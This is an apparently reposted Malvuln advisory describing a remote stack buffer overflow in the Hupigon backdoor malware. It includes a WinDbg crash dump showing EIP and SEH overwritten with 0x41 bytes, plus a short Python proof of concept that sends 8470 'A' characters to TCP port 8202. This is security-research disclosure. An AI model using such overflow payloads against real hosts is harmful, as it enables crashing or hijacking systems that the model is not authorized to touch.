## https://sploitus.com/exploit?id=PACKETSTORM:163213
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/c38cd09fd5ebd1f0cc378804b2da08c4.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln
Threat: Backdoor.Win32.Hupigon.aaio
Vulnerability: Remote Stack Buffer Overflow
Description: The malware listens on TCP ports 8200,8201,8202,8203 and UDP ports 8200,8204. Third-party attackers who can reach an infected host can trigger a classic remote buffer overflow by sending a large payload to TCP port 8202. This will overwrite the ECX and EIP stack registers and structured exception handler (SEH).
Type: PE32
MD5: c38cd09fd5ebd1f0cc378804b2da08c4
Vuln ID: MVID-2021-0255
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 06/20/2021
Memory Dump:
(ce8.ce4): Access violation - code c0000005 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=41414141 edx=77909d70 esi=00000000 edi=00000000
eip=41414141 esp=000a1668 ebp=000a1688 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
41414141 ?? ???
0:000> .ecxr
eax=00000000 ebx=00000000 ecx=41414141 edx=77909d70 esi=00000000 edi=00000000
eip=41414141 esp=000a1668 ebp=000a1688 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
41414141 ?? ???
0:000> !analyze -v
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************
*** WARNING: Unable to verify checksum for Backdoor.Win32.Hupigon.aaio.c38cd09fd5ebd1f0cc378804b2da08c4.exe
*** ERROR: Module load completed but symbols could not be loaded for Backdoor.Win32.Hupigon.aaio.c38cd09fd5ebd1f0cc378804b2da08c4.exe
FAULTING_IP:
Backdoor_Win32_Hupigon_aaio_c38cd09fd5ebd1f0cc378804b2da08c4+e7e68
004e7e68 8b8068030000 mov eax,dword ptr [eax+368h]
EXCEPTION_RECORD: 0019d22c -- (.exr 0x19d22c)
ExceptionAddress: 004e7e68 (Backdoor_Win32_Hupigon_aaio_c38cd09fd5ebd1f0cc378804b2da08c4+0x000e7e68)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000000
Parameter[1]: 414144a9
Attempt to read from address 414144a9
PROCESS_NAME: Backdoor.Win32.Hupigon.aaio.c38cd09fd5ebd1f0cc378804b2da08c4.exe
ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.
EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.
EXCEPTION_PARAMETER1: 00000008
EXCEPTION_PARAMETER2: 41414141
WRITE_ADDRESS: 41414141
FOLLOWUP_IP:
user32!DispatchMessageWorker+0
77138c30 8bff mov edi,edi
FAILED_INSTRUCTION_ADDRESS:
+0
41414141 ?? ???
MOD_LIST: <ANALYSIS/>
NTGLOBALFLAG: 0
APPLICATION_VERIFIER_FLAGS: 0
IP_ON_HEAP: 41414141
The fault address in not in any loaded module, please check your build's rebase
log at <releasedir>\bin\build_logs\timebuild\ntrebase.log for module which may
contain the address if it were loaded.
IP_IN_FREE_BLOCK: 41414141
CONTEXT: 0019d27c -- (.cxr 0x19d27c)
eax=41414141 ebx=004e7e65 ecx=00000000 edx=026f45f8 esi=00000000 edi=0019dcb4
eip=004e7e68 esp=0019d6dc ebp=0019fce8 iopl=0 nv up ei ng nz ac pe cy
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010297
Backdoor_Win32_Hupigon_aaio_c38cd09fd5ebd1f0cc378804b2da08c4+0xe7e68:
004e7e68 8b8068030000 mov eax,dword ptr [eax+368h] ds:002b:414144a9=????????
Resetting default scope
ADDITIONAL_DEBUG_TEXT: Followup set based on attribute [Is_ChosenCrashFollowupThread] from Frame:[0] on thread:[PSEUDO_THREAD]
LAST_CONTROL_TRANSFER: from 41414141 to 004e7e68
FAULTING_THREAD: ffffffff
BUGCHECK_STR: APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141
PRIMARY_PROBLEM_CLASS: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141
DEFAULT_BUCKET_ID: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141
FRAME_ONE_INVALID: 1
STACK_TEXT:
0019d6dc 004e7e68 backdoor_win32_hupigon_aaio+0xe7e68
0019fcf0 41414141 unknown!printable+0x0
0019fcf4 41414141 unknown!printable+0x0
0019fcf8 41414141 unknown!printable+0x0
0019fcfc 41414141 unknown!printable+0x0
0019fd00 41414141 unknown!printable+0x0
0019fd04 41414141 unknown!printable+0x0
0019fd08 41414141 unknown!printable+0x0
0019fe08 00466640 backdoor_win32_hupigon_aaio+0x66640
0019fe20 0046664f backdoor_win32_hupigon_aaio+0x6664f
0019fe84 771390dc user32!DispatchMessageWorker+0x4ac
026d0fdd 492f5cff unknown!unknown+0x0
026d0fe1 2d03d800 unknown!unknown+0x0
026d0fe5 f01de804 unknown!unknown+0x0
026d0fe9 d680ffff unknown!unknown+0x0
026d0fed 15380044 unknown!unknown+0x0
026d0ff1 10e80428 unknown!unknown+0x0
026d0ff5 78fffff0 unknown!unknown+0x0
026d0ff9 f800468a unknown!unknown+0x0
026d0ffd 00042812 unknown!unknown+0x0
STACK_COMMAND: .cxr 000000000019D27C ; kb ; dt ntdll!LdrpLastDllInitializer BaseDllName ; dt ntdll!LdrpFailureData ; dds 19d6dc ; kb
SYMBOL_NAME: user32!DispatchMessageWorker+0
FOLLOWUP_NAME: MachineOwner
MODULE_NAME: user32
IMAGE_NAME: user32.dll
DEBUG_FLR_IMAGE_TIMESTAMP: 0
FAILURE_BUCKET_ID: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_c0000005_user32.dll!DispatchMessageWorker
BUCKET_ID: APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_BAD_IP_user32!DispatchMessageWorker+0
0:000> !exchain
0019fd28: 41414141
Invalid exception stack at 41414141
Exploit/PoC:
from socket import *
MALWARE_HOST="x.x.x.x"
PORT=8202
def doit():
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))
PAYLOAD="A"*8470
s.send(PAYLOAD)
print("Backdoor.Win32.Hupigon.aaio / Remote Stack Buffer Overflow")
print("MD5: c38cd09fd5ebd1f0cc378804b2da08c4")
print("By Malvuln")
if __name__=="__main__":
doit()
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